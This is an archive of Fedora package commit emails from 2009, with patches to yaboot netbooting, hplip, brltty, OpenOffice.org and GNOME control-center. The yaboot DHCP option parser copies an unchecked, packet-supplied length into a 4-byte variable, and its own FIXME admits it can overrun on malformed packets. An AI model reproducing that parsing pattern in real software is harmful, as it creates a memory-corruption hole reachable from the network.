+     if (cookie != DHCP_COOKIE) {
+          prom_printf("EEEK! cookie is fubar got %08x expected %08x\n",
+                      cookie, DHCP_COOKIE);
+          return;
+     }
+
+     i += DHCP_COOKIE_SIZE;
+
+     /* FIXME: It may be possible to run off the end of a packet here /if/
+      *         it's malformed. :( */
+     while (options[i] != DHCP_END) {
+          __u8 tag = options[i++], len;
+          __u32 value;
+
+          if (tag == DHCP_PAD)
+               continue;
+
+          len = options[i++];
+          memcpy(&value, &options[i], len);
+
+#if DEBUG
+{
+     DEBUG_F("tag=%2d, len=%2d, data=", tag, len);
+     int j;
+     for (j=0; j<len; j++)
+          prom_printf("%02x", options[i+j]);
+     prom_printf("\n");
+}
+#endif
+
+          switch (tag) {
+               case DHCP_NETMASK:
+                    if ((result->subnetmask == NULL || *(result->subnetmask) == '\x0') && value != 0) {
+                         result->subnetmask = ipv4_to_str(value);
+                         DEBUG_F("Storing %s as subnetmask from options\n",
+                                 result->subnetmask);
+                    }
+                    /* FIXME: do we need to grok the subnet mask? */
+                    break;
+               case DHCP_ROUTERS:
+                    if ((result->giaddr == NULL || *(result->giaddr) == '\x0')
+                        && value != 0) {
+                         result->giaddr = ipv4_to_str(value);
+                         DEBUG_F("Storing %s as gateway from options\n",
+                                 result->giaddr);
+                    }
+                    break;
+               }
+          i += len;
+     }
+}
+
 /*
  * Check netinfo for ipv4 parameters and add them to the fspec iff the
  * fspec has no existing value.
@@ -170,16 +283,18 @@ extract_netinfo_args(struct boot_fspec_t
      if (packet->ciaddr == 0 && packet->yiaddr != 0)
           packet->ciaddr = packet->yiaddr;
 
-     if ((result->siaddr == NULL || *(result->siaddr) == NULL)
+     if ((result->siaddr == NULL || *(result->siaddr) == '\x0')
          && packet->siaddr != 0)
           result->siaddr = ipv4_to_str(packet->siaddr);
-     if ((result->ciaddr == NULL || *(result->ciaddr) == NULL)
+     if ((result->ciaddr == NULL || *(result->ciaddr) == '\x0')
          && packet->ciaddr != 0)
           result->ciaddr = ipv4_to_str(packet->ciaddr);
-     if ((result->giaddr == NULL || *(result->giaddr) == NULL)
+     if ((result->giaddr == NULL || *(result->giaddr) == '\x0')
          && packet->giaddr != 0)
           result->giaddr = ipv4_to_str(packet->giaddr);
 
+     extract_vendor_options(packet, result);
+
      /* FIXME: Yck! if we /still/ do not have a gateway then "cheat" and use
       *        the server.  This will be okay if the client and server are on
       *        the same IP network, if not then lets hope the server does ICMP
diff -purN yaboot-1.3.14.orig/second/fs_of.c yaboot-1.3.14/second/fs_of.c
--- yaboot-1.3.14.orig/second/fs_of.c	2009-10-15 15:23:39.805647069 +1100
+++ yaboot-1.3.14/second/fs_of.c	2009-10-15 15:29:04.695645439 +1100
@@ -44,7 +44,7 @@
 #include "errors.h"
 #include "debug.h"
 
-#define LOAD_BUFFER_POS		0x1000000
+#define LOAD_BUFFER_POS		0x0000000
 #define LOAD_BUFFER_SIZE	0x2000000
 
 static int of_open(struct boot_file_t* file,
@@ -137,6 +137,7 @@ of_net_open(struct boot_file_t* file,
      static char	buffer[1024];
      char               *filename = NULL;
      char               *p;
+     int                new_tftp;
 
      DEBUG_ENTER;
      DEBUG_OPEN;
@@ -148,34 +149,47 @@ of_net_open(struct boot_file_t* file,
 		    *p = '\\';
      }
 
-     DEBUG_F("siaddr <%s>; filename <%s>; ciaddr <%s>; giaddr <%s>; ipv6 <%d>\n",
-		fspec->siaddr, filename, fspec->ciaddr, fspec->giaddr, fspec->is_ipv6);
+     DEBUG_F("siaddr <%s>; filename <%s>; ciaddr <%s>; giaddr <%s>;"
+             " ipv6 <%d>\n",
+             fspec->siaddr, filename, fspec->ciaddr, fspec->giaddr,
+             fspec->is_ipv6);
+
      strncpy(buffer, fspec->dev, 768);
      if (fspec->is_ipv6)
 	  strcat(buffer, TOK_IPV6 ",");
-     /* If we didn't get a ':' include one */
-     if (fspec->dev[strlen(fspec->dev)-1] != ':')
+     else if (fspec->dev[strlen(fspec->dev)-1] != ':')
           strcat(buffer, ":");
-     strcat(buffer, fspec->siaddr);
-     strcat(buffer, ",");
-     if (fspec->is_ipv6 && (strstr(filename, "filename=") == NULL))
-	  strcat(buffer, "filename=");
-     strcat(buffer, filename);
-     strcat(buffer, ",");
-     strcat(buffer, fspec->ciaddr);
-     strcat(buffer, ",");
-     strcat(buffer, fspec->giaddr);
 
-     /* If /packages/cas exists the we have a "new skool" tftp */
-     if (prom_finddevice("/packages/cas") != PROM_INVALID_HANDLE) {
+     /* If /packages/cas exists the we have a "new skool" tftp.
+      * This means that siaddr is the tftp server and that we can add
+      * {tftp,bootp}_retrys, subnet mask and tftp block size to the load
+      * method */
+     new_tftp = (prom_finddevice("/packages/cas") != PROM_INVALID_HANDLE);
+     DEBUG_F("Using %s tftp style\n", (new_tftp? "new": "old"));
+
+     if (new_tftp) {
+          strcat(buffer, fspec->siaddr);
+          strcat(buffer, ",");
+
+          if (fspec->is_ipv6 && (strstr(filename, "filename=") == NULL))
+               strcat(buffer, "filename=");
+
+          strcat(buffer, filename);
+          strcat(buffer, ",");
+          strcat(buffer, fspec->ciaddr);
           strcat(buffer, ",");
+          strcat(buffer, fspec->giaddr);
+          strcat(buffer, ","); 
           strcat(buffer, fspec->bootp_retries);
           strcat(buffer, ",");
           strcat(buffer, fspec->tftp_retries);
           strcat(buffer, ",");
+          strcat(buffer, fspec->subnetmask);
+          strcat(buffer, ",");
           strcat(buffer, fspec->addl_params);
      } else {
-          DEBUG_F("No \"/packages/cas\" using simple args\n")
+          strcat(buffer, ",");
+          strcat(buffer, filename);
      }
 
      DEBUG_F("Opening: \"%s\"\n", buffer);
diff -purN yaboot-1.3.14.orig/second/prom.c yaboot-1.3.14/second/prom.c
--- yaboot-1.3.14.orig/second/prom.c	2009-10-15 15:23:39.806647224 +1100
+++ yaboot-1.3.14/second/prom.c	2009-10-15 15:29:04.696645314 +1100
@@ -685,6 +685,10 @@ struct bootp_packet * prom_get_netinfo (
      void *bootp_response = NULL;
      char *propname;
      struct bootp_packet *packet;
+     /* struct bootp_packet contains a VLA, so sizeof won't work.
+        the VLA /must/ be the last field in the structure so use it's
+        offset as a good estimate of the packet size */
+     size_t packet_size = offsetof(struct bootp_packet, options);
      int i = 0, size, offset = 0;
      prom_handle chosen;
 #define ARRAY_SIZE(x) (sizeof(x) / sizeof(x[0]))
@@ -709,7 +713,7 @@ struct bootp_packet * prom_get_netinfo (
      if (size <= 0)
          return NULL;
 
-     if (sizeof(*packet) > size - offset) {
+     if (packet_size > size - offset) {
          prom_printf("Malformed %s property?\n", propname);
          return NULL;
      }
diff -purN yaboot-1.3.14.orig/second/yaboot.c yaboot-1.3.14/second/yaboot.c
--- yaboot-1.3.14.orig/second/yaboot.c	2009-10-15 15:23:39.809646432 +1100
+++ yaboot-1.3.14/second/yaboot.c	2009-10-15 15:29:04.697642396 +1100
@@ -471,6 +471,10 @@ static int load_my_config_file(struct bo
      int minlen;
 
      packet = prom_get_netinfo();
+     if (packet == NULL) {
+          prom_printf("Failed to get netinfo data\n");
+          return 0;
+     }
 
      /*
       * First, try to match on mac address with the hardware type

yaboot-1.3.14-move_kernel.patch:
 Makefile        |    3 ++
 include/file.h  |    1 
 second/fs_of.c  |    1 
 second/yaboot.c |   60 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 4 files changed, 65 insertions(+)

--- NEW FILE yaboot-1.3.14-move_kernel.patch ---
diff --git a/Makefile b/Makefile
index 8f2b1c4..3603c7d 100644
--- a/Makefile
+++ b/Makefile
@@ -121,6 +121,9 @@ mkofboot:
 		false; 									\
 	fi
 
+%.i: %.c
+	$(CC) $(YBCFLAGS) -E -o $@ $<
+
 %.o: %.c
 	$(CC) $(YBCFLAGS) -c -o $@ $<
 
diff --git a/include/file.h b/include/file.h
index b2d9c63..9990f4b 100644
--- a/include/file.h
+++ b/include/file.h
@@ -68,6 +68,7 @@ struct boot_file_t {
 	ino_t		inode;
 	__u64           pos;
 	unsigned char*	buffer;
+	__u64		buffer_sz;
 	__u64   	len;
 //	unsigned int	dev_blk_size;
 //	unsigned int	part_start;
diff --git a/second/fs_of.c b/second/fs_of.c
index 1f48f4f..d2e7434 100644
--- a/second/fs_of.c
+++ b/second/fs_of.c
@@ -214,6 +214,7 @@ of_net_open(struct boot_file_t* file,
 	  DEBUG_LEAVE(FILE_IOERR);
 	  return FILE_IOERR;
      }
+     file->buffer_sz = LOAD_BUFFER_SIZE;
      memset(file->buffer, 0, LOAD_BUFFER_SIZE);
 
      DEBUG_F("TFP...\n");
diff --git a/second/yaboot.c b/second/yaboot.c
index 0ccfed5..1241eec 100644
--- a/second/yaboot.c
+++ b/second/yaboot.c
@@ -1052,6 +1052,7 @@ yaboot_text_ui(void)
      static struct boot_param_t	params;
      void		*initrd_base;
      unsigned long	initrd_size;
+     unsigned long	initrd_end;
      void                *sysmap_base;
      unsigned long	sysmap_size;
      kernel_entry_t      kernel_entry;
@@ -1227,8 +1228,67 @@ yaboot_text_ui(void)
 			      initrd_read = file.fs->read(&file, INITRD_CHUNKSIZE, initrd_more);
 			      DEBUG_F("  block at %p rc=%lu\n",initrd_more,initrd_read);
 			      initrd_size += initrd_read;
+			      initrd_end = initrd_more+INITRD_CHUNKSIZE;
 			 }
 		    }
+		    /* If we netbooted and got this far, we may have filled the
+		     * RMA.  We're about the free the TFTP load buffer to we
+		     * can "shuffle" things around so that the booted kernel
+		     * has some memory to run with */
+                    if (!is_elf64(&loadinfo)) {
+                         DEBUG_F("Not running a 64-kernel\n");
+                    /* Is this check enough? */
+                    } else if (loadinfo.base == file.buffer + file.buffer_sz) {
+                         DEBUG_F("file->buffer %lx -> %lx (%lx)\n",
+                                 (unsigned long)(file.buffer),
+                                 (unsigned long)(file.buffer+file.buffer_sz),
+                                 (unsigned long)(file.buffer_sz));
+                         DEBUG_F("vmlinux %lx -> %lx (%lx)\n",
+                                 (unsigned long)(loadinfo.base),
+                                 (unsigned long)(loadinfo.base+loadinfo.memsize),
+                                 (unsigned long)(loadinfo.memsize));
+                         DEBUG_F("initrd %lx -> %lx (%lx)\n",
+                                 (unsigned long)(initrd_base),
+                                 (unsigned long)(initrd_base+initrd_size),
+                                 (unsigned long)(initrd_size));
+
+                         /* Check to see if we're near the top of the RMA */
+                         /* Cheat and assume the RMA == 128Mb */
+                         if (initrd_end > 0x7000000) {
+                              unsigned long new_initrd_end, free_len;
+                              unsigned long initrd_claim_len = initrd_end - (unsigned long)initrd_base;
+
+                              memmove(file.buffer, loadinfo.base,
+                                      loadinfo.memsize+initrd_size);
+                              loadinfo.base = file.buffer;
+                              initrd_base = loadinfo.base+loadinfo.memsize;
+
+                              new_initrd_end = (unsigned long)initrd_base+initrd_claim_len;
+                              free_len = initrd_end - (unsigned long)new_initrd_end;
+                              file.buffer = NULL;
+                              file.buffer_sz = 0;
+                              memset((void*)new_initrd_end, 0x0, free_len);
+                              prom_release((void*)new_initrd_end, free_len);
+
+                              DEBUG_F("Releaseing from 0x%08lx -> 0x%08lx\n",
+                                      new_initrd_end, free_len);
+
+                              DEBUG_F("file->buffer %lx -> %lx (%lx)\n",
+                                      (unsigned long)(file.buffer),
+                                      (unsigned long)(file.buffer+file.buffer_sz),
+                                      (unsigned long)(file.buffer_sz));
+                              DEBUG_F("vmlinux %lx -> %lx (%lx)\n",
+                                      (unsigned long)(loadinfo.base),
+                                      (unsigned long)(loadinfo.base+loadinfo.memsize),
+                                      (unsigned long)(loadinfo.memsize));
+                              DEBUG_F("initrd %lx -> %lx (%lx)\n",
+                                      (unsigned long)(initrd_base),
+                                      (unsigned long)(initrd_base+initrd_size),
+                                      (unsigned long)(initrd_size));
+                         } else {
+                              DEBUG_F("Looks like we do not need to move the kernel\n");
+                         }
+                    }
 		    file.fs->close(&file);
 		    memset(&file, 0, sizeof(file));
 	       }


Index: yaboot.spec
===================================================================
RCS file: /cvs/extras/rpms/yaboot/devel/yaboot.spec,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- yaboot.spec	19 Oct 2009 12:44:27 -0000	1.69
+++ yaboot.spec	29 Oct 2009 12:20:12 -0000	1.70
@@ -1,7 +1,7 @@
 Summary: Linux bootloader for Power Macintosh "New World" computers.
 Name: yaboot
 Version: 1.3.14
-Release: 20%{?dist}
+Release: 21%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: http://yaboot.ozlabs.org/releases/yaboot-%{version}.tar.gz
@@ -37,6 +37,12 @@ Patch36: yaboot-1.3.14-ipv6.patch
 # Do not open LINUX_NATIVE parttions with OF, as badness happens
 Patch37: yaboot-1.3.14-dont_of_open_native_partitions.patch
 
+# Try #2 at better netboot now with DHCP parseing
+Patch38: yaboot-1.3.14-better_netboot2.patch
+
+# When netbooting, move the kernel onto the load buffer, sure it's a hack
+Patch39: yaboot-1.3.14-move_kernel.patch
+
 URL: http://yaboot.ozlabs.org/
 BuildRoot: %{_tmppath}/%{name}-root
 Obsoletes: ybin
@@ -86,6 +92,8 @@ yaboot can also bootload IBM pSeries mac
 %patch35 -p1 -b .returns
 %patch36 -p1 -b .ipv6
 %patch37 -p1 -b .partitions
+%patch38 -p1 -b .netboot2
+%patch39 -p1 -b .movekernel
 
 %build
 make VERSIONEXTRA='\ (Red Hat %version-%release)' DEBUG=1
@@ -126,6 +134,11 @@ rm -rf $RPM_BUILD_ROOT
 %ghost %config(noreplace) %{_sysconfdir}/yaboot.conf
 
 %changelog
+* Thu Oct 29 2009 Roman Rakus <rrakus at redhat.com> - 1.3.14-21
+- When netbooting "clobber" the LOAD_BUFFER and move the kernel into it to make
+  room for RTAS (#530330)
+- Adding better netboot support more work on (#458438)
+
 * Mon Oct 19 2009 Roman Rakus <rrakus at redhat.com> - 1.3.13-20
 - Only require hfsutils on fedora and rhel <= 5
 - Explicitly build a DEBUG=1 version of yaboot to aid in debugging



From twaugh at fedoraproject.org  Thu Oct 29 12:23:26 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 12:23:26 +0000 (UTC)
Subject: rpms/hplip/F-11 hplip-hpcups-sigpipe.patch, NONE, 1.1 hplip.spec,
	1.235, 1.236
Message-ID: <20091029122326.A3BC811C008B@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7638

Modified Files:
	hplip.spec 
Added Files:
	hplip-hpcups-sigpipe.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-17
- Avoid busy loop in hpcups when backend has exited (bug #525944).


hplip-hpcups-sigpipe.patch:
 services.cpp |   11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE hplip-hpcups-sigpipe.patch ---
diff -up hplip-3.9.8/prnt/hpijs/services.cpp.hpcups-sigpipe hplip-3.9.8/prnt/hpijs/services.cpp
--- hplip-3.9.8/prnt/hpijs/services.cpp.hpcups-sigpipe	2009-08-04 22:35:41.000000000 +0100
+++ hplip-3.9.8/prnt/hpijs/services.cpp	2009-10-29 11:56:23.015022337 +0000
@@ -29,6 +29,7 @@
     POSSIBILITY OF SUCH DAMAGE.
 \*****************************************************************************/
 
+#include <errno.h>
 #include <sys/stat.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -382,8 +383,16 @@ DRIVER_ERROR UXServices::ToDevice(const 
    if (write(OutputPath, pBuffer, *Count) != (ssize_t)*Count) 
    {
       static int cnt=0;
-      if (cnt++ < 5)
+      if (cnt < 5)
+      {
+	 cnt++;
          BUG("unable to write to output, fd=%d, count=%d: %m\n", OutputPath, *Count);
+      }
+
+      if (errno == EPIPE)
+	 /* The backend has exited.  There's no recovering from that. */
+	 exit (1);
+
       return IO_ERROR;
    }
 


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-11/hplip.spec,v
retrieving revision 1.235
retrieving revision 1.236
diff -u -p -r1.235 -r1.236
--- hplip.spec	28 Oct 2009 17:41:08 -0000	1.235
+++ hplip.spec	29 Oct 2009 12:23:26 -0000	1.236
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 16%{?dist}
+Release: 17%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -27,6 +27,7 @@ Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
 Patch12: hplip-retry-open.patch
 Patch13: hplip-plugin-error.patch
+Patch14: hplip-hpcups-sigpipe.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -156,6 +157,9 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # (bug #531330).
 %patch13 -p1 -b .plugin-error
 
+# Avoid busy loop in hpcups when backend has exited (bug #525944).
+%patch14 -p1 -b .hpcups-sigpipe
+
 %build
 aclocal
 automake --foreign --add-missing --copy
@@ -373,6 +377,9 @@ fi
 exit 0
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-17
+- Avoid busy loop in hpcups when backend has exited (bug #525944).
+
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-16
 - Set a printer-state-reason when there's a missing required plugin
   (bug #531330).



From twaugh at fedoraproject.org  Thu Oct 29 12:24:42 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Thu, 29 Oct 2009 12:24:42 +0000 (UTC)
Subject: rpms/hplip/F-12 hplip-hpcups-sigpipe.patch, NONE, 1.1 hplip.spec,
	1.241, 1.242
Message-ID: <20091029122442.BEF5C11C008B@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/hplip/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8019

Modified Files:
	hplip.spec 
Added Files:
	hplip-hpcups-sigpipe.patch 
Log Message:
* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
- Avoid busy loop in hpcups when backend has exited (bug #525944).


hplip-hpcups-sigpipe.patch:
 services.cpp |   11 ++++++++++-
 1 file changed, 10 insertions(+), 1 deletion(-)

--- NEW FILE hplip-hpcups-sigpipe.patch ---
diff -up hplip-3.9.8/prnt/hpijs/services.cpp.hpcups-sigpipe hplip-3.9.8/prnt/hpijs/services.cpp
--- hplip-3.9.8/prnt/hpijs/services.cpp.hpcups-sigpipe	2009-08-04 22:35:41.000000000 +0100
+++ hplip-3.9.8/prnt/hpijs/services.cpp	2009-10-29 11:56:23.015022337 +0000
@@ -29,6 +29,7 @@
     POSSIBILITY OF SUCH DAMAGE.
 \*****************************************************************************/
 
+#include <errno.h>
 #include <sys/stat.h>
 #include <stdio.h>
 #include <stdlib.h>
@@ -382,8 +383,16 @@ DRIVER_ERROR UXServices::ToDevice(const 
    if (write(OutputPath, pBuffer, *Count) != (ssize_t)*Count) 
    {
       static int cnt=0;
-      if (cnt++ < 5)
+      if (cnt < 5)
+      {
+	 cnt++;
          BUG("unable to write to output, fd=%d, count=%d: %m\n", OutputPath, *Count);
+      }
+
+      if (errno == EPIPE)
+	 /* The backend has exited.  There's no recovering from that. */
+	 exit (1);
+
       return IO_ERROR;
    }
 


Index: hplip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/hplip/F-12/hplip.spec,v
retrieving revision 1.241
retrieving revision 1.242
diff -u -p -r1.241 -r1.242
--- hplip.spec	29 Oct 2009 10:53:33 -0000	1.241
+++ hplip.spec	29 Oct 2009 12:24:42 -0000	1.242
@@ -1,7 +1,7 @@
 Summary: HP Linux Imaging and Printing Project
 Name: hplip
 Version: 3.9.8
-Release: 18%{?dist}
+Release: 19%{?dist}
 License: GPLv2+ and MIT
 Group: System Environment/Daemons
 Conflicts: system-config-printer < 0.6.132
@@ -25,6 +25,7 @@ Patch9: hplip-requirespageregion.patch
 Patch10: hplip-discovery-method.patch
 Patch11: hplip-device-reconnected.patch
 Patch12: hplip-plugin-error.patch
+Patch13: hplip-hpcups-sigpipe.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires(pre): /sbin/service
@@ -151,6 +152,9 @@ rm -rf $RPM_BUILD_DIR/%{name}-%{version}
 # (bug #531330).
 %patch12 -p1 -b .plugin-error
 
+# Avoid busy loop in hpcups when backend has exited (bug #525944).
+%patch13 -p1 -b .hpcups-sigpipe
+
 %build
 aclocal
 automake --foreign --add-missing --copy
@@ -354,6 +358,9 @@ fi
 /usr/bin/update-desktop-database &>/dev/null ||:
 
 %changelog
+* Thu Oct 29 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-19
+- Avoid busy loop in hpcups when backend has exited (bug #525944).
+
 * Wed Oct 28 2009 Tim Waugh <twaugh at redhat.com> 3.9.8-18
 - Set a printer-state-reason when there's a missing required plugin
   (bug #531330).



From kasal at fedoraproject.org  Thu Oct 29 12:36:21 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu, 29 Oct 2009 12:36:21 +0000 (UTC)
Subject: rpms/brltty/F-12 brltty-autoconf-quote.patch,NONE,1.1
Message-ID: <20091029123621.7EFCD11C008B@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/brltty/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11771

Added Files:
	brltty-autoconf-quote.patch 
Log Message:
sync with devel

brltty-autoconf-quote.patch:
 aclocal.m4 |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE brltty-autoconf-quote.patch ---
2009-10-28  Stepan Kasal  <skasal at redhat.com>

	* aclocal.m4 (BRLTTY_SUMMARY_END): Use single quotes when
	passing the value of brltty_summary_lines, so that is not
	garbled.

--- brltty-4.1/aclocal.m4.orig	2009-10-08 04:32:49.000000000 +0200
+++ brltty-4.1/aclocal.m4	2009-10-28 14:28:30.000000000 +0100
@@ -396,7 +396,7 @@
 AC_DEFUN([BRLTTY_SUMMARY_END], [dnl
 AC_CONFIG_COMMANDS([brltty-summary],
    [AC_MSG_NOTICE([${brltty_summary_lines}])],
-   [brltty_summary_lines="${brltty_summary_lines}"]
+   [brltty_summary_lines='${brltty_summary_lines}']
 )])
 
 AC_DEFUN([BRLTTY_SUMMARY_ITEM], [dnl



From caolanm at fedoraproject.org  Thu Oct 29 12:38:14 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Thu, 29 Oct 2009 12:38:14 +0000 (UTC)
Subject: rpms/openoffice.org/devel
	openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch, NONE,
	1.1 openoffice.org.spec, 1.2051, 1.2052
Message-ID: <20091029123814.E657D11C008B@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/openoffice.org/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12866

Modified Files:
	openoffice.org.spec 
Added Files:
	openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch 
Log Message:
Resolves: rhbz#531732 possible crash in about dialog with unfinished accelerators

openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch:
 accmgr.cxx |   17 +++++++++++++++++
 1 file changed, 17 insertions(+)

--- NEW FILE openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch ---
diff -r 170d9f615c3e vcl/source/window/accmgr.cxx
--- a/vcl/source/window/accmgr.cxx	Wed Oct 28 10:10:41 2009 +0000
+++ b/vcl/source/window/accmgr.cxx	Thu Oct 29 12:30:32 2009 +0000
@@ -83,6 +83,23 @@
     if ( !mpAccelList )
         return;
 
+    //e.g. #i90599#. Someone starts typing a sequence in a dialog, but doesn't
+    //end it, and then closes the dialog, deleting the accelerators. So if
+    //we're removing an accelerator that a sub-accelerator which is in the
+    //sequence list, throw away the entire sequence 
+    if ( mpSequenceList )
+    {
+        for (USHORT i = 0; i < pAccel->GetItemCount(); ++i)
+        {
+            Accelerator* pSubAccel = pAccel->GetAccel(pAccel->GetItemId(i));
+            if ( mpSequenceList->GetPos( pSubAccel ) != LIST_ENTRY_NOTFOUND )
+            {
+                EndSequence( true );
+                break;
+            }
+        }
+    }
+
     // Raus damit
     mpAccelList->Remove( pAccel );
 }


Index: openoffice.org.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openoffice.org/devel/openoffice.org.spec,v
retrieving revision 1.2051
retrieving revision 1.2052
diff -u -p -r1.2051 -r1.2052
--- openoffice.org.spec	28 Oct 2009 13:56:40 -0000	1.2051
+++ openoffice.org.spec	29 Oct 2009 12:38:14 -0000	1.2052
@@ -1,6 +1,6 @@
 %define oootag OOO320
 %define ooomilestone 2
-%define rh_rpm_release 5
+%define rh_rpm_release 6
 
 # rhbz#465664 jar-repacking breaks help by reordering META-INF/MANIFEST.MF
 %define __jar_repack %{nil}
@@ -121,6 +121,7 @@ Patch47: openoffice.org-3.2.0.ooo106032.
 Patch48: workspace.impress178.patch
 Patch49: openoffice.org-3.1.1.ooo106130.svx.removedeletedshapes.patch
 Patch50: workspace.gsminhibit.patch
+Patch51: openoffice.org-3.2.0.ooo90599.accelsequence.crash.patch
 
 %define python_py_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(0)")
 %define instdir %{_libdir}
@@ -1631,6 +1632,7 @@ cat %{PATCH10} >> svtools/source/dialogs
 %patch48 -p0 -b .workspace.impress178.patch
 %patch49 -p0 -b .ooo106130.svx.removedeletedshapes.patch
 %patch50 -p1 -b .workspace.gsminhibit.patch
+%patch51 -p1 -b .ooo90599.accelsequence.crash.patch
 
 %build
 echo build start time is `date`, diskspace: `df -h . | tail -n 1`
@@ -4131,6 +4133,10 @@ fi
     unopkg list --shared > /dev/null 2>&1 || :
 
 %changelog
+* Thu Oct 29 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.6.UNBUILT
+- Resolves: rhbz#531732 possible crash in about dialog with unfinished
+  accelerator sequence
+
 * Wed Oct 28 2009 Caol?n McNamara <caolanm at redhat.com> - 1:3.2.0-2.5
 - Resolves: ooo#103757 custom shape cut and paste (caolanm)
 - Resolves: rhbz#529746 crash on exit after loading .ppt (caolanm)



From hadess at fedoraproject.org  Thu Oct 29 12:45:25 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 29 Oct 2009 12:45:25 +0000 (UTC)
Subject: rpms/control-center/F-12
	0001-Fix-all-the-keybindings-showing-up-when-using-compiz.patch,
	NONE, 1.1 control-center.spec, 1.502, 1.503
Message-ID: <20091029124525.7C8A011C008B@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/control-center/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15349

Modified Files:
	control-center.spec 
Added Files:
	0001-Fix-all-the-keybindings-showing-up-when-using-compiz.patch 
Log Message:
* Thu Oct 29 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
- Fix metacity keybindings showing up under compiz


0001-Fix-all-the-keybindings-showing-up-when-using-compiz.patch:
 wm-common.c |    7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE 0001-Fix-all-the-keybindings-showing-up-when-using-compiz.patch ---
>From 11c5d4f3391400987c8fa41ef6e67458c1c29260 Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Thu, 29 Oct 2009 12:18:37 +0000
Subject: [PATCH] Fix all the keybindings showing up when using compiz

The wm_common_get_current_keybindings() implementation
was broken.

https://bugzilla.gnome.org/show_bug.cgi?id=600021
---
 capplets/common/wm-common.c |    6 +++---
 1 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/capplets/common/wm-common.c b/capplets/common/wm-common.c
index ef38489..d2ce82a 100644
--- a/capplets/common/wm-common.c
+++ b/capplets/common/wm-common.c
@@ -27,7 +27,7 @@ wm_common_get_window_manager_property (Atom atom)
   guchar *val;
 
   if (wm_window == None)
-    return g_strdup (WM_COMMON_UNKNOWN);
+    return NULL;
 
   utf8_string = XInternAtom (GDK_DISPLAY (), "UTF8_STRING", False);
 
@@ -46,7 +46,7 @@ wm_common_get_window_manager_property (Atom atom)
       type != utf8_string || format != 8 || nitems == 0 ||
       !g_utf8_validate (val, nitems, NULL))
     {
-      retval = g_strdup (WM_COMMON_UNKNOWN);
+      retval = NULL;
     }
   else
     {
@@ -93,7 +93,7 @@ wm_common_get_current_keybindings (void)
       char *wm_name = wm_common_get_window_manager_property (wm_atom);
       char *to_copy[] = { NULL, NULL };
 
-      to_copy[0] = wm_name;
+      to_copy[0] = wm_name ? wm_name : g_strdup (WM_COMMON_UNKNOWN);
 
       results = g_strdupv (to_copy);
       g_free (wm_name);
-- 
1.6.5.1



Index: control-center.spec
===================================================================
RCS file: /cvs/pkgs/rpms/control-center/F-12/control-center.spec,v
retrieving revision 1.502
retrieving revision 1.503
diff -u -p -r1.502 -r1.503
--- control-center.spec	26 Oct 2009 22:42:57 -0000	1.502
+++ control-center.spec	29 Oct 2009 12:45:25 -0000	1.503
@@ -24,7 +24,7 @@
 Summary: Utilities to configure the GNOME desktop
 Name: control-center
 Version: 2.28.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 Epoch: 1
 License: GPLv2+ and GFDL
 Group: User Interface/Desktops
@@ -46,6 +46,9 @@ Patch22: slab-icon-names.patch
 # http://bugzilla.gnome.org/show_bug.cgi?id=555591
 Patch30: default-layout-toggle.patch
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=600021
+Patch31: 0001-Fix-all-the-keybindings-showing-up-when-using-compiz.patch
+
 # http://bugzilla.gnome.org/show_bug.cgi?id=588729
 Patch45: mnemonic.patch
 
